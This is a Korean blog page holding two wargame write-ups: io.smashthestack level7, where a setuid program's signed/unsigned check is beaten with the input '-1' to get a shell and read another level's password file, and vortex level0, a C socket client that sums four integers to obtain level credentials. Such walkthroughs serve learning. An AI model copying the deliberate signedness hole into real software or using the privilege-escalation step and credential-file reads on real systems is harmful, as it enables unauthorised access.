Search results for 'unsigned int'

  1. 2010.01.19 -- level7
  2. 2009.09.23 -- vortex level0

level7

2010. 1. 19. 06:01


level7의 소스입니다.
별다른건 없고 sscanf 로 argv[1]의 값들을 정수화해서 id에 집어넣습니다.

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

// We are never deceived; we deceive ourselves. - Johann Wolfgang von Goethe

void check_id(unsigned int id)
{
    if(id > 10) {
        execl("/bin/sh", "sh", NULL);
    } else {
        printf("Not today son\n");
    }
}

int main(int argc, char *argv[])
{
    int id;
    sscanf(argv[1], "%d", &id);
                if(id > 10) {
                        printf("Erm....no\n");
                        exit(-1);
                }
    check_id(id);

    return 0;
}

check_id 함수의 인자로 unsigned int 를 받는게 왠지 시선을 끌길래.. 음수를 넣어봤더니


level7@io:/levels$ ./level7 -1

sh-3.1$ id
uid=1007(level7) gid=1007(level7) euid=1008(level8) groups=1007(level7)

sh-3.1$ cat /home/level8/.pass
ca1fiase     > zkq5xlnh

'War game > io.smashthestack.org' 카테고리의 다른 글

io smashthestack level25  (0) 2014.02.09
io smashthestack level24  (0) 2014.02.09
level9  (0) 2010.01.21
level8  (0) 2010.01.21
level6  (0) 2010.01.19
level5  (8) 2010.01.19
level4  (8) 2010.01.18
level3  (0) 2010.01.18
level2  (0) 2010.01.18
level1  (0) 2010.01.18

badcob War game/io.smashthestack.org

vortex level0

2009. 9. 23. 00:24

  1. Your goal is to connect to port 5842 on vortex.labs.pulltheplug.org and read in 4 unsigned integers. Add these integers together and send back the results to get a username and password for level 1.

    level0의 목표는 서버에 접속해서 unsigend integer 4바이트를 읽어서 합친후에 서버로 전송해주면
    된다. 쉽게 클리어 할  수 있을 것이라 생각했는데 좀처럼 원하는 결과가 나오질 않았다.

    확인해 보니 recv 한 버퍼의  값들이 전부 이상하게 찍힌다. 자금까지 exploit를 만들때는

    unsigned
    char recv[512]= {0, };   
    .......
     if((str_len = read(sock, recv, 64))==0)
             
     error_handling("read() error!");

    위와 같이 unsigned char 형태의 배열을 read함수의 2번째 인자로 줘서 사용했다.
    역시나 이 코드를 사용했기에 읽어오는 부분을 한번 의심해 보았다.

    read 함수의 원형이다.

    ssize_t read(int filedes, void *buf, size_t nbytes);

    void *buf 를 보니 먼가 감이 왔다. 문제에서도 데이터형을 정확하게 알려준것도 의심스럽고 해서
    unsigned integer 로 선언해서 char *로 캐스팅하니 값이 제대로 찍혔다.

    Username : vortex1  Password:  Gq#qu3bF3


#include <stdio.h>  
#include <stdlib.h>  
#include <arpa/inet.h>  
#include <unistd.h>  
#include <string.h>  
#include <sys/types.h>  
#include <sys/socket.h>  
#include <netdb.h>


#define SERVER "vortex.labs.pulltheplug.org"
#define PORT "5842"  
#define TRUE 1  

void error_handling(char *message);  

int main(int argc, char **argv) {  

    int sock;  

    int str_len;  
    int option;  
    socklen_t optlen;  

    struct hostent *myent;
    struct in_addr myen;
    long int *add;

    unsigned int number, count; 
    unsigned int total;

    struct sockaddr_in serv_addr;  

    /************* socket initialize and connect ****************/      


    if(!(myent = gethostbyname(SERVER)))
    {
        printf("gethostbyname error\n");
        exit(0);
    }

    add = (long int*)*myent->h_addr_list;
    myen.s_addr = *add;
    
    sock=socket(PF_INET, SOCK_STREAM, 0);  
    if(sock == -1)  
        error_handling("socket() error");  

    optlen = sizeof(option);  
    option = TRUE;  

    setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &option, sizeof(option));  
    memset(&serv_addr, 0, sizeof(serv_addr));  

    serv_addr.sin_family=AF_INET;  
    serv_addr.sin_addr.s_addr=inet_addr(inet_ntoa(myen));  
    serv_addr.sin_port=htons(atoi(PORT));  

    if(connect(sock, (struct sockaddr*)&serv_addr,sizeof(serv_addr))<0)  
        error_handling("connect() error!");  

    /****************** main start ********************/  
    

    total = 0;
    count = 0;
    while(count <4){
    if((str_len = read(sock, (char *)&number, sizeof(unsigned int)))==0)     
        error_handling("read() error!");  

    printf("Message from server : %d \n", number);   

    memset(recv, 0x00, 64);
    count++;
    total += number;
    }

    printf("total = %d\n", total);
    
    if((str_len = write(sock, (char *)&total, sizeof(unsigned int))) == -1) ///write 1  
        error_handling("write() error");  
    
    if((str_len = read(sock, recv, 64))==0)     
        error_handling("read() error!");  

    printf("Message from server : %s \n", recv);   
   
    close(sock);  
    return 0;  
}  

void error_handling(char *message)  
{  
    fputs(message, stderr);  
    fputc('\n', stderr);  
    exit(1);  
}

'War game > vortex' 카테고리의 다른 글

vortex12  (0) 2014.01.02
Vortex11  (3) 2013.04.02
vortex level10  (0) 2011.04.18
vortex level8  (0) 2010.12.09
vortex level3  (0) 2009.10.03
vortex level1  (0) 2009.09.24

badcob War game/vortex